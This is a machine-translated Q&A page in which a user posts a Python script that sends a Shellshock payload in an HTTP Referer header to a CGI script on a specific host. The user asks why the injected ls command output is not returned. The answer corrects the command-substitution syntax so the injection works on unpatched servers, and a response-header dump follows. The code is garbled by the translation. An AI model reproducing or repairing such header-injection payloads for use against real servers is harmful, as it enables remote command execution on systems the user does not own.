如何使用python从http头在服务器中执行bash命令?

如何使用python从http头在服务器中执行bash命令?,python,bash,ubuntu,cgi,Python,Bash,Ubuntu,Cgi,我有以下python脚本 headers={'Referer':“”“(){:;};y=“($ls)”;echo'ls_结果:'$y;“” r=请求。获取(“http://manticore.2y.net/cgi-bin/dlwct.sh,headers=headers) 及 是 当我在标题中通过y=“(ls)”时。我在响应头中得到'ls_result':'(ls)。 为什么要从我的输入中删除$? 如何在响应头中列出目录? PS:这是出于教育目的执行命令并将其输出分配给变量的语法为: y="$

我有以下python脚本

headers={'Referer':“”“(){:;};y=“($ls)”;echo'ls_结果:'$y;“”
r=请求。获取(“http://manticore.2y.net/cgi-bin/dlwct.sh,headers=headers)

当我在标题中通过y=“(ls)”时。我在响应头中得到
'ls_result':'(ls)
。 为什么要从我的输入中删除$? 如何在响应头中列出目录?
PS:这是出于教育目的

执行命令并将其输出分配给变量的语法为:

y="$(ls)"
括号内有
$
,应该在括号外

请注意,只有在您尚未修补ShellShock漏洞的情况下,代码才会执行shell命令

{
'x-rdir': '""', 'x-vps': 'yes',
 'transfer-encoding': 'chunked',
 'server': 'Apache/1.3.29',
 'connection': 'close',
 'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
 'ls_result': '()', 
'content-type': 'text/html'
}
y="$(ls)"